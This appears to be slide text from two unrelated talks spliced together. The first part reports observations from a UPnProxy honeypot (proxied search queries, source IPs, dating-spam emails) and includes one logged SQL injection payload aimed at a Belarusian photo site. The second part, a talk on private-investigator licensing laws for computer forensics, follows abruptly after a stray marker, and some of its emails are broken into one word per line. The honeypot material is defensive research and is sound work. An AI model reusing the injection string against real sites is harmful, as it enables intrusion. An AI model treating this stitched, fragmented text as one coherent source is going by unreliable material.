9 car insurance
6 car insurance companies
6 car insurance agents
6 auto insurance
5 renters insurance
5 car insurance quotes
5 auto insurance quotes
5 ﺔﺿﺎﯾر (sports… but in Arabic)
4 translation services
4 sport
4 social media
4 seo
4 roto rooter
4 renters insurance quotes
4 korean food
4 home insurance near me
4 eye doctors
4 dentist
3 zero down car financing
3 web development
3 web design
3 used cars for sale
3 technical writing services
3 rent a dumpster
48
Searches for?...
UPnProxy: Observations
72 hour deodorant
שדח גהנל הגיהנ ןוישיר שודיח
antivirus download now
residential elevators
cannabis dispensary near me
747 多伦多
pokemon red walkthrough
recibir dinero del exterior
tesol course bangkok
ﮫﻧوﻣﺿﻣ ﮫﺟوﻟا ضﯾﯾﺑﺗ تﺎطﻠﺧ
como reparar un implante dental suelto
7giorni
jardinier paysagiste lille
villaria bukit antarabangsa
man grooming mistake grooming routine
marlboro summer camp
nba live odds
texas and the artichoke
ransomware virus
how many years is doctoral degree
online paralegal degree
best fat burner for women
leather trousers outfit
lawn in dupage county il
what is the purpose of a photocopier in the office
asobo ログイン
cancelar seguro de vida acuse de recibo site:quora.com
hoeveel graden is het in madrid
it プロセス オートメーション
free blog posting sites
a letter name list
saunaofen 9 kw mit integrierter steuerung
subway accident ny
life insurance permanent life
hadramout manchester
cabinet conseil en organisation
code promo le monde du bagage
hello kitty wallpaper for phone
socially responsible bank
hard yakka shirt
celtics owner
mỹ phẩm hàn quốc bạn có
baby girl baptism dress
seo for healthcare title tags site:quora.com
oncology surgical oncology
smile makeover cosmetic dental site:quora.com
capital one business credit report
révision opel
hairdressing leaflets
o poderoso chefinho
senior living community offering long term care
caesarstone concrete 2003
striking vipers
prix prothese dentaire amovible partielle
ktn news
missouri commercial cannabis
over 50 ira catch up
クラシック ファッション
best portable composter
aircraft soft goods market
fafafa slot hack
headhunter
certis usa pesticide companies in usa site:quora.com
what does a ca do
arretramento sella e mal di schiena
custom blinds clermont
free email security
design bundles design bundles sublimation
white death strain
roblox warning for parents
49
Lotsa Googles...
UPnProxy: Observations
27262 www.google.com
5245 www.google.co.uk
2728 www.google.com.au
2352 www.google.fr
1935 www.google.ca
1721 www.google.es
1642 www.google.co.in
1456 www.google.de
1373 www.google.it
1357 www.google.com.br
913 www.google.nl
674 www.google.co.jp
629 www.google.com.tr
607 www.google.com.mx
460 www.google.com.ar
450 www.google.dk
442 www.google.se
424 www.google.co.il
423 www.google.no
423 www.google.no
408 www.google.be
387 www.google.pl
373 www.google.ae
347 www.google.ch
339 www.google.com.sg
295 www.google.co.nz
290 www.google.co.id
266 www.google.fi
245 www.google.co.za
241 www.google.com.co
223 www.google.com.vn
190 www.google.ie
180 www.google.com.hk
151 www.google.pt
135 www.google.ro
123 www.google.com.ph
113 www.google.com.sa
113 www.google.at
102 www.google.cl
98 www.google.com.my
92 www.google.com.pe
90 www.google.co.th
70 www.google.com.pk
61 www.google.cz
55 www.google.gr
54 www.google.com.tw
51 www.google.co.kr
49 www.google.com.eg
41 www.google.bg
40 www.google.com.ua
33 www.google.com.bd
28 www.google.com.ng
27 www.google.hr
26 www.google.rs
25 www.google.co.ma
23 www.google.co.cr
18 www.google.sk
16 www.google.lk
16 www.google.com.ec
15 www.google.si
15 www.google.lu
15 www.google.com.qa
15 www.google.com.do
14 www.google.lt
14 www.google.is
13 www.google.ee
11 www.google.lv
11 www.google.com.sv
10 www.google.md
10 www.google.com.kw
10 www.google.com.gh
10 www.google.com.bo
9 www.google.com.cy
9 www.google.com.bh
8 www.google.dz
8 www.google.com.pa
8 www.google.com.np
8 www.google.co.ve
8 www.google.bs
7 www.google.mu
7 www.google.com.lb
7 www.google.com.gt
7 www.google.co.mz
7 www.google.co.ke
6 www.google.tt
6 www.google.hn
6 www.google.com.om
6 www.google.com.ni
6 www.google.ba
6 www.google.am
5 www.google.sn
5 www.google.com.uy
5 www.google.com.na
5 www.google.com.mt
4 www.google.com.pr
4 www.google.com.jm
4 www.google.com.bz
4 www.google.com.af
4 www.google.ci
4 www.google.az
3 www.google.mn
3 www.google.me
3 www.google.cv
3 www.google.com.py
3 www.google.com.ly
3 www.google.com.et
3 www.google.co.zw
3 www.google.co.tz
3 www.google.co.ao
2 www.google.ps
2 www.google.mg
2 www.google.kz
2 www.google.ht
2 www.google.gy
2 www.google.gp
2 www.google.gg
2 www.google.com.kh
2 www.google.com.bn
2 www.google.co.zm
2 www.google.co.ug
2 www.google.co.bw
2 www.google.cd
1 www.google.vg
1 www.google.mk
1 www.google.kg
1 www.google.co.vi
1 www.google.cm
1 www.google.bj
1 www.google.as
1 www.google.ad
50
293 different User-Agent’s (top 20 most used)
UPnProxy: Observations
4822 [Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) Version/10.0 Mobile/14F89 Safari/602.1
2425 [Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
2414 [Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36
2368 [Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
2361 [Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.84 Safari/537.36
2339 [Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.2 Safari/605.1.15
2328 [Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
2327 [Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
2293 [Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
2278 [Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
2274 [Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
2231 [Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
2176 [Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
2126 [Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
2120 [Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36
2105 [Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
2088 [Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
2087 [Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15
2076 [Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
2070 [Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.5 Safari/605.1.15
51
Top talkers...
UPnProxy: Observations
150449 185.177.126.184
16447 93.190.139.70
15691 93.190.139.76
4584 185.177.127.15
4535 51.89.97.5
4215 93.190.141.32
3029 51.89.96.181
2781 185.177.127.36
1747 51.91.154.161
509 5.62.63.30
46 103.207.38.178
18 103.147.185.194
12 162.142.125.38
8 74.120.14.53
8 74.120.14.38
8 167.248.133.55
8 167.248.133.54
8 162.142.125.96
8 162.142.125.40
7 180.214.239.226
4 74.120.14.56
4 74.120.14.37
4 167.248.133.53
4 162.142.125.55
3 178.62.247.40
3 178.124.163.131
3 162.142.125.37
3 162.142.125.128
3 122.228.19.80
2 91.241.19.122
2 89.248.165.84
2 85.119.151.252
2 74.82.47.4
2 74.120.14.40
2 192.241.213.98
2 192.241.207.231
1 94.232.47.170
1 85.119.151.253
1 85.119.151.250
1 71.6.135.131
1 45.129.56.200
1 23.129.64.132
1 192.241.213.231
1 185.173.35.49
1 104.140.188.14
52
Top 10 talkers… who are they?
UPnProxy: Observations
Bulk mode; whois.cymru.com [2021-07-09 19:32:29 +0000]
49981 | 185.177.126.184 | 185.177.124.0/22 | NL | ripencc | 2016-11-14 | WORLDSTREAM, NL
49981 | 93.190.139.70 | 93.190.136.0/22 | NL | ripencc | 2008-05-16 | WORLDSTREAM, NL
49981 | 93.190.139.76 | 93.190.136.0/22 | NL | ripencc | 2008-05-16 | WORLDSTREAM, NL
49981 | 185.177.127.15 | 185.177.124.0/22 | NL | ripencc | 2016-11-14 | WORLDSTREAM, NL
16276 | 51.89.97.5 | 51.89.0.0/16 | FR | ripencc | 1993-09-01 | OVH, FR
49981 | 93.190.141.32 | 93.190.140.0/22 | NL | ripencc | 2008-05-16 | WORLDSTREAM, NL
16276 | 51.89.96.181 | 51.89.0.0/16 | FR | ripencc | 1993-09-01 | OVH, FR
49981 | 185.177.127.36 | 185.177.124.0/22 | NL | ripencc | 2016-11-14 | WORLDSTREAM, NL
16276 | 51.91.154.161 | 51.91.0.0/16 | FR | ripencc | 1993-09-01 | OVH, FR
198605 | 5.62.63.30 | 5.62.62.0/23 | GB | ripencc | 2012-06-08 | AVAST-AS-DC, CZ
53
Theories on this...
UPnProxy: Observations
- Queries seem oddly… human.
- Traffic looks TOO organic
- Not sure end users are aware they’re using IoT proxies
- (Residental) Proxy seller?
54
Spam campaigns
UPnProxy: Observations
Message-ID: <[email protected]>
Date: Tue, 11 May 2021 08:18:57 +0600
Reply-To: " Claudia" <[email protected]>
From: " Erika" <[email protected]>
MIME-Version: 1.0
To: <[email protected]>,
<[email protected]>,
<[email protected]>,
<[email protected]>,
<[email protected]>,
<[email protected]>,
<[email protected]>
Subject: Elisabeth
Content-Type: text/plain;
charset="us-ascii"
Content-Transfer-Encoding: 8bit
http://joinlove.space/dating
Message-ID: <9DC0A92A.80B527FE@afps-asso.
Date: Mon, 10 May 2021 18:45:35 -0700
From: " Britta" <[email protected]>
MIME-Version: 1.0
To: <[email protected]>
Subject: Kate
Content-Type: text/plain;
charset="us-ascii"
Content-Transfer-Encoding: 8bit
http://newestlove.space/dating
Message-ID: <[email protected]>
Date: Tue, 11 May 2021 11:41:42 +1000
From: " Helga" <[email protected]>
MIME-Version: 1.0
To: <[email protected]>
Cc: <[email protected]>,
<[email protected]>,
<[email protected]>,
<[email protected]>,
<[email protected]>,
<[email protected]>
Subject: Sabine
Content-Type: text/plain;
charset="us-ascii"
Content-Transfer-Encoding: 8bit
http://hotnewlove.space/dating
Message-ID: <[email protected]>
Date: Tue, 11 May 2021 02:14:00 +0500
Reply-To: " Inge" <[email protected]>
From: " Kerstin" <[email protected]>
X-Accept-Language: en-us
MIME-Version: 1.0
To: <[email protected]>,
<[email protected]>,
<[email protected]>
Subject: Carin 176cm 50kg
Content-Type: text/plain;
charset="us-ascii"
Content-Transfer-Encoding: 8bit
http://sexy-sexyloover.space/dating
55
You’ll get blocked pretty quickly
UPnProxy: Observations
2021/05/11 02:34:57
550 5.7.1 Service unavailable, Helo domain is listed in Spamhaus. To request
removal from this list see https://www.spamhaus.org/query/lookup/ (S8001)
[BN1NAM02FT025.eop-nam02.prod.protection.outlook.com]
56
Belarus goes dark…
UPnProxy: Observations
sb.by (news)
POST URL:/registration/confirm/index.php
GET URL:/bitrix/tools/captcha.php?captcha_sid=10da0c27c3e8ebd1373cae7a860bb14
photobelta.by (stock image hosting?)
GET URL:/ru/photos?theme_id=7217500%27%20union%20select%20%271%27,concat(sleep(360000),1)%23&id=480745
mail.rec.gov.by (central commission of the republic of belarus elections… or something)
GET URL:/mail/
exch.ont.by (news)
POST URL:/owa/auth.owa
57
So...
UPnProxyPot: Observations
So here’s the
cool part....
58
I’m releasing this to Github...
UPnProxy… for everyone
https://github.com/chadillac/UPnProxyPot
59
So, let’s get some things out of the way right now
UPnProxy: is open source...
- First, this project was for fun, research, and to learn more Golang
- Second, I apologize in advance for my shitty code
- This was a research project… not commercial grade software… good
enough isn’t perfect, but it’s better than nothing and served its purpose
- Yes, there are bugs, thank you for noticing… open an issue? How about
you just submit a pull request instead?...
- Yes, it is hacky… I regret nothing
- If you have ideas to fix/improve stuff… it’s open source… fork+pull, k, thx
60
Ideas for improvement
UPnProxy: is open source...
- Logging could be very much improved
- Content injection could be a thing
- There is a memory leak… my solution is to restart the binary…
- Yes it runs in screen, feel free to properly daemonize it
- Randomize SSDP banners & listen on multiple popular UPnP ports
- Pretend to be A LOT more devices (my findings may be myopic)
61
Ideas for improvement
UPnProxy: is open source...
- Smarter cert caching that respects SNI differences
- Improved TLS handling/proxying
- Improved cert cloning
- Improved error handling
- Improved basically everything...
62
README.md
UPnProxy: is open source...
- The README.md file should (hopefully) have all you need to know
- If it doesn’t and there are additional bits of info I missed… fork, push, pull
- It’s written in Golang, but also has Linux deps…
- So it will run on any operating system, so long as it’s Linux.
- You can deploy a node on a VPS provider in minutes…
- You can deploy a node on a RPi, ODroid, etc. just as quickly… DMZ it!
- It will start seeing abuse within the first 24-48 hours, bet.
- If you find something cool… tell me about it! (linkedin)
63
NOW GO HAVE FUN
https://github.com/chadillac/UPnProxyPot | pdf |
FORENSICS IS ONLY FOR
PRIVATE INVESTIGATORS NOW!
OR
WHO NEEDS CERTIFICATIONS?
Scott A. Moulton
Forensic Strategy Services, LLC.
www.ForensicStrategy.com
DISCLAIMER
This is NOT Animated!
Everything I state is my opinion and is
based on my research and experiences.
I am not A lawyer!
I am not YOUR lawyer!
Talk to your own lawyer and do your own
research.
I am sure that some of you will get angry
about this speech and the new laws, but I
am not the bad guy.
This is for your Entertainment!
States are passing new laws and implementing
them very quickly. These laws can go into effect
immediately with no grandfathering of current
non-licensed people nor giving them a path to get
licensed by the deadlines.
The PI Board in many states is lobbying similar
wording and trying to get similar laws passed
and shooting for a felony.
Most computer forensic or computer security
professional have no idea this is happening at all
or believe that it applies to them.
WHY IS THIS SPEECH IMPORTANT TO YOU?
FOR EXAMPLE:
RECENT EVENTS IN MICHIGAN
Michigan passed the “Professional Investigator
Licensure Act” on May 28th 2008.
I makes it a felony to practice computer forensics
without a license going into effect:
“This act is ordered to take immediate effect.”
Penalty:
(3) A person violating this section is guilty of a felony
punishable by imprisonment for not more than 4 years or
by a penal fine of not more than $5,000.00, or both.
OPINIONS ABOUT THESE LAWS
Some people think regulation is needed.. It gets
rid of the rift raft that hangs out a sign
Some think that they would rather have the
worst computer guy working on their case more
than a current PI and generally believe the PI is
not qualified.
And others state that this is a field of science and
not surveillance and computer science does not
belong under the PI wing.
But a lot more people just think it does not apply
to them, such as Forensic Document Handwriting
Experts.
OTHERS THINK ALL PI’S DO IS SURVEILLANCE
QUALIFICATION & CERTIFICATIONS
ALL YOUR QUALIFICATIONS ARE TRUMPED BY
THIS PROFESSIONAL LICENSE
ONE PARAGRAPH SUMMARY EMAIL
“I find is shocking and narrow minded for states
to think that a computer forensic expert would
have to have a license in order to testify but yet a
Private Investigator can have no clue about
computers and yet testify to that which is on the
computer. “
GEORGIA:
HOW I WAS INTRODUCED TO THIS ISSUE
April 4th 2006 – I was on the stand testifying in a
criminal trial in the state of Georgia.
The Prosecution questioned me about my
credentials in computer forensics and whether I
was a licensed Private Investigator.
The Prosecutor tried to have the Judge disqualify
me as an expert because I was not a PI and cited
a new law that was passed by the Georgia House
and Senate to go into effect July 1st 2006.
The Judge allowed my testimony because I was
being qualified as a computer forensics expert
and not a Private Investigator.
GEORGIA:
SO I RESEARCHED THIS NEW LAW
After that occurred, even though I was accepted
for computer forensics on the stand, I thought it
would be a good idea to check on this new law. I
would start with the definitions of forensics and
computer forensics and see how they applied.
“FORENSICS” DEFINED
Forensics:
The use of science and technology to
investigate and establish facts in
criminal or civil courts of law.
Computer Forensics:
Computer forensics is a branch of
forensic science pertaining to legal
evidence found in computers and
digital storage mediums.
Is that what PI’s do? I don’t
remember TV shows called
Magnum CSI or Quincy PI but at
least there was Rockford FILES!
GEORGIA:
SO I RESEARCHED THIS NEW LAW
This new law was called HB1259 and it was
submitted on February 6th, 2006 and passed both
the house and the senate March 30th 2006.
GEORGIA:
WHAT DID THE LAWYERS SAY
After researching it, I put the content in-front of
a criminal attorney for an opinion on if this new
law applied to me.
The lawyers opinion was he did not want to have
to be in the position of defending (not really,
because they like defending things for lots of
money) it because it seemed that it would apply
and there is no case law to support it.
Being accused of a misdemeanor was a lot
different than being accused of a felony and who
wants to be the first one to test that? Refer to
Port Scanning!
(3) 'Private detective business' means the
business of obtaining or furnishing, or accepting
employment to obtain or to furnish, information
with reference to:
(A) Crimes or wrongs done or threatened against
the United States of America or any state or
territory thereof;
(B) The background, identity, habits, conduct,
business, employment, occupation, assets,
honesty, integrity, credibility, knowledge,
trustworthiness, efficiency, loyalty, activity,
movement, whereabouts, affiliations,
associations, transactions, acts, reputation, or
character of any person;
GEORGIA SECTION 43-38-3, RELATING TO
DEFINITIONS OF PRIVATE INVESTIGATOR
(C) The location, disposition, or recovery of lost or
stolen property;
(D) The cause or responsibility for fires, libels,
losses, accidents, damage, or injury to persons or
property;
(E) The securing of evidence in the course of the
private detective business to be used before any
court, board, officer, or investigating committee;
GEORGIA SECTION 43-38-3, RELATING TO
DEFINITIONS OF PRIVATE INVESTIGATOR
GEORGIA:
IF YOU SUCK AT COMPUTER FORENSICS
At least you didn’t waste your time, because your
new license can be applied to new careers….
(F) In addition to the
aforementioned services,
'private detective business'
shall also mean providing, or
accepting employment to
provide, protection of persons
from death or serious bodily
harm."
GEORGIA:
QUALIFICATIONS FOR A PI
(7) The applicant for a private detective company
license has had at least two years experience as
an agent registered with a licensed detective
agency
or has had at least two years experience as a
supervisor or administrator in in-house
investigations ( IT Investigations?)
or has had at least two years experience as a
peace officer as defined by subparagraph (A) of
paragraph (8) of Code Section 35-8-2,
or has a four-year degree in criminal justice or a
related field from an accredited university or
college;
NEVADA:
SIMILAR REQUIREMENTS
has had at least two years experience as a
supervisor or administrator in in-house
investigations ( IT Investigations?)
…..Email about this subject
What's interesting about Nevada's statute is that
they require a license to conduct computer
forensics, but they don't count computer forensics
toward the required experience to be a private
investigator. Seems they want to have it both
ways.
GEORGIA:
DOES NOT APPLY TO THESE PEOPLE
(1)An officer or employee of the United States of
America …blah blah blah
(2) A person engaged in the business of furnishing
information in connection with credit or ..blah blah
blah
(3) An attorney at law or a bona fide legal assistant in
performing his or her duties;
(4) Admitted insurers, agents, and insurance brokers
licensed by the ..blah blah blah
(5) A peace officer employed on a full-time basis …
blah blah blah.
(6) A firm engaged in the business of independent
insurance claims ..blah blah blah
(7) The employees of a firm.. (6) of this subsection..
GEORGIA:
IT ALSO DOES NOT EXCLUDE:
It turns out, the PI board forgot to exclude;
corporations, other professional licenses like
CPA’s, etc and they all called the governors office
to complain about this law.
After finding this out, I found out the bill was on
the Governors desk waiting to be signed; or he
had the option to veto it!
I made a googillion phone calls, emails etc to get
the attention of everyone I could.
GEORGIA: PENALTIES FOR THE CRIME OF
COMPUTER FORENSICS
Any person who engages in the private detective
business or private security business or offers,
pretends, or holds himself or herself out as
eligible to engage in the private detective
business or private security business and who is
not legally licensed or registered under this
chapter shall be guilty of a felony and, upon
conviction thereof, shall be punished by a fine of
not less than $500.00 nor more than $1,000.00 or
by imprisonment for not less than two nor more
than five years, or both. Each day or fraction of a
day that he or she practices in violation of this
chapter shall constitute a separate offense."
GEORGIA PRESIDENT OF THE BOARD OF PI’S
SENT OUT THIS LETTER
Subject: HB1259 in danger of veto
Date: Mon, 17 Apr 2006
All,
Unfortunately, I have learned from the Governor’s office over
the weekend (yes, even over Easter weekend) that the
Governor is almost certainly expected to veto HB1259 today
because of "perceived unintended consequences" affecting
CPA’s. How this got started is anyone’s guess, but they have
inundated the Governor with more than 100 emails and phone
calls stating their concerns: "if we examine a client’s records or
computers and gather information about which we testify in
court, we could be arrested for a felony unless we are licensed
PI’s." Surely, with the ties that each of us have we can triple
or quadruple that number of contacts to the Governor’s office
within an hour or two…….blah blah blah….
I have been advised that the ONLY hope we have at this point
is to have an immediate and voluminous show of support for
this legislation. Otherwise it will be vetoed.
VETOED!
GEORGIA:
SO WHY WAS HB1259 VETOED
The existing definition of "private detective
business," continued in this bill, in conjunction
with the applicable exemptions in the law, fails
to exclude from the private investigator licensing
requirement many professions that collect
information or may be called as expert witnesses
in court proceedings. To expand the penalty from
a misdemeanor to a felony without revision of the
existing definitions in the law could result in
unintended consequences; I therefore VETO
HB1259. Governor of Georgia
GEORGIA:
MISUNDERSTANDING WHAT THIS MEANS
At least we won’t go to jail, but they think we
still have to be a PI. There is no supporting case
law. Who wants to be first? Refer to Port
Scanning!
We got the law vetoed that
would have made these
actions a felony, however,
the PI’s still believe that
computer forensics meets
the definition of private
investigators and that we
should be regulated.
GEORGIA AND MAYBE OTHER STATES:
OTHER PROFESSIONS AFFECTED
Handwriting Analysis Experts: Certification
Medical Testing Labs : Take Money, Third party,
Uses Science to tell you if the person has a habit.
Telecom Investigators
Certified Fraud Examiners that are not CPAs
Forensic Photographers
DNA and Biological agents and technicians
Repo men
Many others either remain confused or take
exception.
GEORGIA:
WHAT WE DID OVER THE NEXT YEAR
We (many leaders in our field in the state) built a
committee to write our own law, got a House
Representative to work with us.
We created the Digital Forensics Working Group
We worked on the law, wrote it, got his approval,
submitted it to him.
The Representative agreed to submit it on our
behalf.
Then Blam! The Rep submitted another bill from
the PI Board instead of ours and kicked us to the
curb.
What the ????
GEORGIA:
EMAILS TO FIND OUT WHAT HAPPENED
‐‐‐‐‐Original
Message‐‐‐‐‐
From:
House
GOP
Sent:
Monday,
February
26,
2007
9:46
PM
To:
Scott
Moulton
Subject:
Re:
FW:
[Dfwg]
Meeting
on
Forensic
Issues
I
spoke
to
Aubrey
Villines,
the
lobbyist
for
the
private
detectives
tonight
and
told
him
that
I
was
interested
in
this
issue
and
suggested
that
we
have
a
meeting
of
all
the
parties
if
the
bill
makes
it
out
of
the
House
and
into
the
Senate.
He
agreed.
GEORGIA:
EMAILS TO FIND OUT WHAT HAPPENED
From:
Scott
Moulton
Sent:
Monday,
February
26,
2007
9:53
PM
To:
House
GOP
Subject:
RE:
FW:
[Dfwg]
Meeting
on
Forensic
Issues
You
know,
I
am
curious
now
that
you
mention
it.
Is
Aubrey
Villines
related
to
John
Villines,
The
president
of
the
board
of
Private
Detectives?
That
has
to
be
too
much
of
a
coincidence.
It
seems
that
he
is
lobbying
for
a
FAMILY
Member
to
pass
a
law
to
help
his
business??
Does
that
seem
Right?
GEORGIA:
EMAILS TO FIND OUT WHAT HAPPENED
‐‐‐‐‐Original
Message‐‐‐‐‐
From:
House
GOP
Sent:
Monday,
February
26,
2007
9:57
PM
To:
Scott
Moulton
Subject:
Re:
FW:
[Dfwg]
Meeting
on
Forensic
Issues
They
are
brothers.
GEORGIA:
NEW LAWS SUBMITTED 2007/2008
In 2007, House Bill 504 was submitted.
"(3) 'Private detective business' means providing
or accepting employment to provide protection of
individuals from death or serious bodily harm or
the business of obtaining or furnishing, or
accepting employment to obtain or to furnish,
information, including but not limited to any type
of digital or electronic information,
GEORGIA:
NEW SUBMISSION INCLUDES NEW ITEMS
The Applicant may have: Investigative
experience as the board deems sufficient;
And Excluded:
8) A person whose professional practice is
licensed or regulated by another agency or board
of this state when such person's conduct falls
within the scope of practice for such other
profession. In the event the professional's conduct
falls within the scope of activity regulated both
by this chapter and elsewhere under state law,
this chapter shall not regulate such professional's
conduct."
GEORGIA: LETTER FROM THE
PROFESSIONAL LICENSING BOARD
Dear
Mr.
Kessler,
April
2nd,
2007
blah…blah…blah…
"The
Board
does
require
computer
forensic
firms
and
technicians
to
be
licensed
to
perform
their
services
to
the
public,
as
the
Board
is
of
the
position
that
these
services
meet
the
definition
in
OCGA
$
43‐38‐3
(3).”…
http://www.investigation.com/
surveymap/surveymap.html
North Carolina states you do have to have a license,
but there is a lot of activity in that state about this
right now and people fighting against current
proposed laws.
South Carolina says it does require a license and will
hunt you down even if the evidence is shipped to you
to work on in your own state.
Alabama, Alaska Missouri, has no state PI License or
board but some cities have licensing requirements.
South Dakota has no PI License, but does require a
business license.
Washington State says if you interview people you
have stepped into the world of the PI. Does that mean
to ask questions of the parties?
VARIOUS STATES:
THE STATES AND THE MESS WE ARE IN
TEXAS LAW:
EMAIL FROM ANDREW ROSEN
Texas passed house bill 2833, requiring computer
forensic examiners to become licensed Private
Investigators. The test had nothing to do with
evidence, ethics, computers, chain of custody or
really anything that I am involved in. The test
had more to do with guard dogs and
administrative regulations.
….
Andrew Rosen
Creator of SMART Forensics
www.ASRData.com
TEXAS LAW:
FROM KESSLER'S NOTEBOOK
There is not an exemption for computer forensics in
Chapter 1702 like there is for accounting, so 1702.104
takes precedence. If a computer forensics company
contracts to provide a service for a company, it may
provide services limited to information from said
company, and that company only, without a security
license. For example, if a company mainframe's
security was breached, a forensic investigator could
legally determine where in that system the security
lapse happened (without a license from the Private
Security Bureau). However, if the forensic analyst
were to follow the digital trail outside of the company
it was contracted to in order to find the nature,
location, or identity of the intruder, they must be
licensed as a Private Investigator.
DELAWARE:
THE STATE OF CONFUSION
(10) "Investigator" or "agency" means any person
who engages in the business or accepts
employment to obtain or furnish information
with reference to:
(f.) "Investigator" or "agency" shall not include
any person employed as a computer forensic
specialist.
But in a letter to Mr. Kessler, Delaware states
that you have to have a license. State of
confusion.
MICHIGAN:
HOUSE BILL NO. 5274 PASSED AS LAW
(b) "Computer forensics" means the collection,
investigation, analysis, and scientific
examination of data held on, or retrieved from,
computers, computer networks, computer storage
media, electronic devices, electronic storage
media, or electronic networks, or any
combination thereof.
(viii) Computer forensics to be used as evidence
before a court, board, officer, or investigating
committee.
MICHIGAN:
ISSUE A PROFESSIONAL INVESTIGATOR IF SATISFIED:
(a) Is a citizen of the United States.
(b) Is not less than 25 years of age.
(c) Has a high school education or its equivalent.
(d) Has not been convicted of a felony, or a
misdemeanor involving any of the following:
(i) Dishonesty or fraud.
(ii) Unauthorized divulging or selling of information
or evidence.
(v) Two or more alcohol related offenses.
(g) Has posted with the department a bond or
insurance policy provided for in this act.
(i) Lawfully engaged in the professional
investigation business, blah blah
…
(iii) An investigator, detective, special agent,
intelligence specialist, blah blah blah
(iv) A graduate of an accredited institution of
higher education with a baccalaureate or
postgraduate degree in the field of police
administration, security management,
investigation, law, criminal justice, or computer
forensics or other computer forensic industry
certificated study that is acceptable to the
department.
MICHIGAN: FOR A PERIOD OF NOT LESS THAN 3
YEARS …. FOLLOWING ON A FULL-TIME BASIS:
MICHIGAN:
REQUIREMENTS: A FRIENDS EMAIL
I called last week to Dept of Labor in Michigan
that oversees the PI law. I inquired on the
acceptable computer forensic industry
certificated study and was given a “we aren’t
really sure yet” response. I then asked what the
application process was and also received a “we
aren’t really sure yet” as we have not decided
what will qualify. Fortunately for me this isn’t a
primary source of income, however what if it
was?
Regards,
Your Friend….
CALIFORNIA: GOOD NEWS LETTER
On to the next step
in becoming a
Private Investigator:
The Test
GEORGIA:
TEST STUDY MATERIAL EMAIL
You
are
correct,
there
is
no
official
study
guide
or
study
materials
available
for
the
private
detective
exam
administered
by
the
Georgia
Secretary
of
State's
office.
The
state
requires
the
test
but
the
Secretary
of
State's
office
specifically
does
not
provide
any
guidance
as
to
where
the
questions
come
from,
nor
any
reasoning
as
to
how
or
why
they
are
chosen.
The
Secretary
of
State's
administrative
staff
actually
tell
you
that
they
will
not
provide
any
indication
or
information
that
might
help
people
prepare
for
the
exam.
…blah
blah
blah
Good
luck
with
your
test
preparations
and
on
your
test.
Best
regards,
Vice President of the PI Association GAPPI
GEORGIA:
SO I SENT AN EMAIL TO ANOTHER SENATOR
ABOUT HOW GREAT THEY ARE REGULATING
GOP Senator’s Reply:
This is ridiculous. Do you mind if I share this
email with the Secretary of State?
Ummm. Don’t they give the test? Don’t they know?
GEORGIA:
THE TEST QUESTIONS
Someone who holds a permit from the
board to carry an exposed weapon may
carry a:
A. weapon up to .45 caliber capable of holding
not more than seven shots.
B. revolver or semi-automatic hand gun of no
greater than .32 caliber with a 2" to 6" barrel
length that can hold not more than six shots.
C. .38 semi-automatic hand gun with a clip of
not more than six shots.
D. .38 special revolver, six shots or less, with a
2" to 6" barrel length.
GEORGIA:
THE TEST QUESTIONS
Of the four questions below, which one is
most leading?
A. "Then what did you do?"
B. "After the suspect ran down the hall, did
you follow her?"
C. "When did you first notice that the door had
been forced?"
D. "Where did you find the tire iron?"
HOW MANY TIMES DOES THE WORD
“COMPUTER”EVEN APPEAR IN THE TEST?
0 <<< Big Fat Zero
GEORGIA:
THE TEST SUBJECT AREA
Approximate Percentage of Questions
Legal Information 17%
Observation/Surveillance 15%
Gun Safety and Handling 15%
Obtaining and Preserving Evidence 21%
Interviewing/Interrogations 21%
Client Relationships/Administration 11%
So I googled all these categories…
COMBINING ALL THOSE CATEGORIES
COST TO BE A PI FOR REQUIRED THINGS
THE REAL QUESTION
After several thousands
of dollar$$ in extra cost to get the
PI license so you can do computer
forensics legally, will you pay more
for a certification if it is not
required? Can you even afford it?
So how valuable are
certifications now?
THINGS YOU CAN DO
Computer forensics needs its own special license. You
can’t go from state to state to work without a license
